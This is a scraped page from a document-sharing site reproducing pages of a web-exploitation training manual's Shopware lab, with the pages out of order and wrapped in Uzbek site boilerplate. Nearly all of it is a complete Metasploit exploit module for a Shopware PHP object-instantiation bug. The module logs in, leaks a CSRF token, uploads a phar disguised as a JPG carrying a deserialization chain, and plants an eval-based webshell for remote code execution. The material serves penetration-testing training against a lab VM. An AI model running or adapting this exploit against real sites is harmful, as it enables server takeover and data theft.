Advanced Web Application


Lab 9: Shopware Object Instantiation



Download 2,34 Mb.
Pdf ko'rish
bet20/26
Sana24.07.2021
Hajmi2,34 Mb.
#127117
1   ...   16   17   18   19   20   21   22   23   ...   26
Bog'liq
116 Advanced Web Application Exploitation

(.*) 

}).flatten.first 

    end 


    return 

  end 


 


 

 

© 2020 Caendra Inc. | WAPTXv2 



48 

  def leak_csrf(cookie) 

    res = send_request_cgi( 

      'method' => 'GET', 

      'uri' => normalize_uri(target_uri.path, 'backend', 'CSRFToken', 

'generate'), 

      'cookie' => cookie 

    ) 


    unless res 

      fail_with(Failure::Unreachable, "Connection failed") 

    end 

    if res.code == 200 

      if res.headers.include?('X-Csrf-Token') 

        return res.headers['X-Csrf-Token'] 

      end 

    end 


    return 

  end 


 

  def generate_phar(webroot) 

    php = 

Rex::FileUtils.normalize_unix_path("#{webroot}#{target_uri.path}media/#

{@shll_bd}.php") 

    register_file_for_cleanup("#{@shll_bd}.php") 

    pop  = 

"O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":2:{s:41:\"\x00GuzzleHttp\\C

ookie\\FileCookieJar\x00filename\";" 

    pop << "s:#{php.length}:\"#{php}\";" 

    pop << "s:36:\"\x00GuzzleHttp\\Cookie\\CookieJar\x00cookies\";" 

    pop << 

"a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\x00GuzzleHt

tp\\Cookie\\SetCookie\x00data\";" 

    pop << "a:3:{s:5:\"Value\";" 

    pop << "s:48:\"

eval(base64_decode($_SERVER[HTTP_#{@header}])); ?>\";" 

    pop << "s:7:\"Expires\";" 

    pop << "b:1;" 

    pop << "s:7:\"Discard\";" 

    pop << "b:0;}}}}" 

    file          = Rex::Text.rand_text_alpha_lower(8) 

    stub          = "\r\n" 

    file_contents = Rex::Text.rand_text_alpha_lower(20) 

    file_crc32    = Zlib::crc32(file_contents) & 0xffffffff 

    manifest_len  = 40 + pop.length + file.length 

    phar  = stub 

    phar << [manifest_len].pack('V')              # length of manifest 

in bytes 

    phar << [0x1].pack('V')                       # number of files in 

the phar 



 

 

© 2020 Caendra Inc. | WAPTXv2 



49 

    phar << [0x11].pack('v')                      # api version of the 

phar manifest 

    phar << [0x10000].pack('V')                   # global phar 

bitmapped flags 

    phar << [0x0].pack('V')                       # length of phar 

alias 

    phar << [pop.length].pack('V')                # length of phar 



metadata 

    phar << pop                                   # pop chain 

    phar << [file.length].pack('V')               # length of filename 

in the archive 

    phar << file                                  # filename 

    phar << [file_contents.length].pack('V')      # length of the 

uncompressed file contents 

    phar << [0x0].pack('V')                       # unix timestamp of 

file set to Jan 01 1970. 

    phar << [file_contents.length].pack('V')      # length of the 

compressed file contents 

    phar << [file_crc32].pack('V')                # crc32 checksum of 

un-compressed file contents 

    phar << [0x1b6].pack('V')                     # bit-mapped file-

specific flags 

    phar << [0x0].pack('V')                       # serialized File 

Meta-data length 

    phar << file_contents                         # serialized File 

Meta-data 

    phar << [Rex::Text.sha1(phar)].pack('H*')     # signature 

    phar << [0x2].pack('V')                       # signiture type 

    phar << "GBMB"                                # signature presence 

    return phar 

  end 


 

  def upload(cookie, csrf_token, phar) 

    data = Rex::MIME::Message.new 

    data.add_part(phar, Rex::Text.rand_text_alpha_lower(8), nil, 

"name=\"fileId\"; filename=\"#{@phar_bd}.jpg\"") 

    res = send_request_cgi( 

      'method' => 'POST', 

      'uri' => normalize_uri(target_uri, 'backend', 'mediaManager', 

'upload'), 

      'ctype' => "multipart/form-data; boundary=#{data.bound}", 

      'data' => data.to_s, 

      'cookie' => cookie, 

      'headers' => { 

        'X-CSRF-Token' => csrf_token 

      } 

    ) 


    unless res 

      fail_with(Failure::Unreachable, "Connection failed") 




 

 

© 2020 Caendra Inc. | WAPTXv2 



50 

    end 


    if res.code == 200 && res.body =~ /Image is not in a recognized 

format/i 

      return true 

    end 


    return 

  end 


 

  def leak_upload(cookie, csrf_token) 

    res = send_request_cgi( 

      'method' => 'GET', 

      'uri' => normalize_uri(target_uri.path, 'backend', 

'MediaManager', 'getAlbumMedia'), 

      'cookie' => cookie, 

      'headers' => { 

        'X-CSRF-Token' => csrf_token 

      } 


    ) 

    unless res 

      fail_with(Failure::Unreachable, "Connection failed") 

    end 


    if res.code == 200 && res.body =~ /#{@phar_bd}.jpg/i 

      bd_path = $1 if res.body =~ 

/media\\\/image\\\/(.{10})\\\/#{@phar_bd}/ 

      register_file_for_cleanup("image/#{bd_path.gsub("\\", 

"")}/#{@phar_bd}.jpg") 

      return "media/image/#{bd_path.gsub("\\", "")}/#{@phar_bd}.jpg" 

    end 

    return 

  end 

 

  def trigger_bug(cookie, csrf_token, upload_path) 



    sort = { 

      "Shopware_Components_CsvIterator" => { 

        "filename" => "phar://#{upload_path}", 

        "delimiter" => "", 

        "header" => "" 

      } 


    } 

    res = send_request_cgi( 

      'method' => 'GET', 

      'uri' => normalize_uri(target_uri.path, 'backend', 

'ProductStream', 'loadPreview'), 

      'cookie' => cookie, 

      'headers' => { 

        'X-CSRF-Token' => csrf_token 

      }, 

      'vars_get' => { 'sort' => sort.to_json } 

    ) 



 

 

© 2020 Caendra Inc. | WAPTXv2 



51 

    unless res 

      fail_with(Failure::Unreachable, "Connection failed") 

    end 


    return 

  end 


 

  def exec_code 

    send_request_cgi({ 

      'method'   => 'GET', 

      'uri'      => normalize_uri(target_uri.path, "media", 

"#{@shll_bd}.php"), 

      'raw_headers' => "#{@header}: 

#{Rex::Text.encode_base64(payload.encoded)}\r\n" 

    }, 1) 

  end 


 

  def check 

    cookie = do_login 

    if cookie.nil? 

      vprint_error "Authentication was unsuccessful" 

      return Exploit::CheckCode::Safe 

    end 

    csrf_token = leak_csrf(cookie) 

    if csrf_token.nil? 

      vprint_error "Unable to leak the CSRF token" 

      return Exploit::CheckCode::Safe 

    end 


    res = send_request_cgi( 

      'method' => 'GET', 

      'uri' => normalize_uri(target_uri.path, 'backend', 

'ProductStream', 'loadPreview'), 

      'cookie' => cookie, 

      'headers' => { 'X-CSRF-Token' => csrf_token } 

    ) 

    if res.code == 200 && res.body =~ /Shop not found/i 



      return Exploit::CheckCode::Vulnerable 

    end 


    return Exploit::CheckCode::Safe 

  end 


 

  def exploit 

    unless Exploit::CheckCode::Vulnerable == check 

      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') 

    end 

    @phar_bd  = Rex::Text.rand_text_alpha_lower(8) 

    @shll_bd  = Rex::Text.rand_text_alpha_lower(8) 

    @header   = Rex::Text.rand_text_alpha_upper(2) 

    cookie = do_login 

    if cookie.nil? 




 

 

© 2020 Caendra Inc. | WAPTXv2 



52 

      fail_with(Failure::NoAccess, "Authentication was unsuccessful") 

    end 

    print_good("Stage 1 - logged in with #{datastore['username']}: 

#{cookie}") 

   web_root = "/var/www/shopware" 

   # if web_root.nil? 

   #   fail_with(Failure::Unknown, "Unable to leak the webroot") 

   # end 

   # print_good("Stage 2 - leaked the web root: #{web_root}") 

    csrf_token = leak_csrf(cookie) 

    if csrf_token.nil? 

      fail_with(Failure::Unknown, "Unable to leak the CSRF token") 

    end 


    print_good("Stage 3 - leaked the CSRF token: #{csrf_token}") 

    phar = generate_phar(web_root) 

    print_good("Stage 4 - generated our phar") 

    if !upload(cookie, csrf_token, phar) 

      fail_with(Failure::Unknown, "Unable to upload phar archive") 

    end 


    print_good("Stage 5 - uploaded phar") 

    upload_path = leak_upload(cookie, csrf_token) 

    if upload_path.nil? 

      fail_with(Failure::Unknown, "Cannot find phar archive") 

    end 

    print_good("Stage 6 - leaked phar location: #{upload_path}") 

    trigger_bug(cookie, csrf_token, upload_path) 

    print_good("Stage 7 - triggered object instantiation!") 

    exec_code 

  end 


end 

▪ 

Start Metasploit and execute reload_all 



▪ 

Launch the exploit as follows 




 

 

© 2020 Caendra Inc. | WAPTXv2 



Lab 9: Shopware Object Instantiation 

 

To try this attack on the provided Virtual Machine, perform the below. 

▪ 

Power up a pentesting distribution such as Kali Linux 



▪ 

Edit /etc/hosts so that the Virtual Machine’s IP is related to shopware.local 



 

▪ 

Save  the  below  exploit  as  shopware_createinstancefromnamedarguments_rce.rb,  inside  the 



/root/.msf4/modules/exploits/http/ directory. 

## 


# This module requires Metasploit: https://metasploit.com/download 

# Current source: https://github.com/rapid7/metasploit-framework 

## 

 

class MetasploitModule < Msf::Exploit::Remote 



  Rank = ExcellentRanking 

 

  include Msf::Exploit::Remote::HttpClient 



  include Msf::Exploit::FileDropper 


 

 

© 2020 Caendra Inc. | WAPTXv2 



46 

 

  def initialize(info = {}) 



    super(update_info(info, 

      'Name' => "Shopware createInstanceFromNamedArguments PHP Object 

Instantiation RCE", 

      'Description' => %q( 

        This module exploits a php object instantiation vulnerability 

that can lead to RCE in 

        Shopware. An authenticated backend user could exploit the 

vulnerability. 

 

        The vulnerability exists in the 



createInstanceFromNamedArguments function, where the code 

        insufficiently performs whitelist check which can be bypassed 

to trigger an object injection. 

 

        An attacker can leverage this to deserialize an arbitrary 



payload and write a webshell to 

        the target system, resulting in remote code execution. 

 

        Tested on Shopware git branches 5.6, 5.5, 5.4, 5.3. 



      ), 

      'License' => MSF_LICENSE, 

      'Author' => 

        [ 

          'Karim Ouerghemmi',               # original discovery 

          'mr_me ',    # patch bypass, rce & msf 

module 

        ], 

      'References' => 

        [ 

          ['CVE', '2019-12799'],                                                                         

# yes really, assigned per request 

          ['CVE', '2017-18357'],                                                                         

# not really because we bypassed this patch 

          ['URL', 'https://blog.ripstech.com/2017/shopware-php-object-

instantiation-to-blind-xxe/']      # initial writeup w/ limited 

exploitation 

        ], 

      'Platform' => 'php', 

      'Arch' => ARCH_PHP, 

      'Targets' => [['Automatic', {}]], 

      'Privileged' => false, 

      'DisclosureDate' => "May 09 2019", 

      'DefaultTarget' => 0)) 

 

    register_options( 



      [ 

        OptString.new('TARGETURI', [true, "Base Shopware path", '/']), 




 

 

© 2020 Caendra Inc. | WAPTXv2 



47 

        OptString.new('USERNAME', [true, "Backend username to 

authenticate with", 'demo']), 

        OptString.new('PASSWORD', [false, "Backend password to 

authenticate with", 'demo']) 

      ] 


    ) 

  end 


 

  def do_login 

    res = send_request_cgi( 

      'method' => 'POST', 

      'uri' => normalize_uri(target_uri.path, 'backend', 'Login', 

'login'), 

      'vars_post' => { 

        'username' => datastore['username'], 

        'password' => datastore['password'], 

      } 


    ) 

    unless res 

      fail_with(Failure::Unreachable, "Connection failed") 

    end 


    if res.code == 200 

      cookie = 

res.get_cookies.scan(%r{(SHOPWAREBACKEND=.{26};)}).flatten.first 

      if res.nil? 

        return 

      end 

      return cookie 

    end 


    return 

  end 


 

  def get_webroot(cookie) 

    res = send_request_cgi( 

      'method' => 'GET', 

      'uri' => normalize_uri(target_uri.path, 'backend', 'systeminfo', 

'info'), 

      'cookie' => cookie 

    ) 


    unless res 

      fail_with(Failure::Unreachable, "Connection failed") 

    end 

    if res.code == 200 

      return res.body.scan(%r{DOCUMENT_ROOT 


Download 2,34 Mb.

Do'stlaringiz bilan baham:
1   ...   16   17   18   19   20   21   22   23   ...   26




Ma'lumotlar bazasi mualliflik huquqi bilan himoyalangan ©hozir.org 2024
ma'muriyatiga murojaat qiling

kiriting | ro'yxatdan o'tish
    Bosh sahifa
юртда тантана
Боғда битган
Бугун юртда
Эшитганлар жилманглар
Эшитмадим деманглар
битган бодомлар
Yangiariq tumani
qitish marakazi
Raqamli texnologiyalar
ilishida muhokamadan
tasdiqqa tavsiya
tavsiya etilgan
iqtisodiyot kafedrasi
steiermarkischen landesregierung
asarlaringizni yuboring
o'zingizning asarlaringizni
Iltimos faqat
faqat o'zingizning
steierm rkischen
landesregierung fachabteilung
rkischen landesregierung
hamshira loyihasi
loyihasi mavsum
faolyatining oqibatlari
asosiy adabiyotlar
fakulteti ahborot
ahborot havfsizligi
havfsizligi kafedrasi
fanidan bo’yicha
fakulteti iqtisodiyot
boshqaruv fakulteti
chiqarishda boshqaruv
ishlab chiqarishda
iqtisodiyot fakultet
multiservis tarmoqlari
fanidan asosiy
Uzbek fanidan
mavzulari potok
asosidagi multiservis
'aliyyil a'ziym
billahil 'aliyyil
illaa billahil
quvvata illaa
falah' deganida
Kompyuter savodxonligi
bo’yicha mustaqil
'alal falah'
Hayya 'alal
'alas soloh
Hayya 'alas
mavsum boyicha


yuklab olish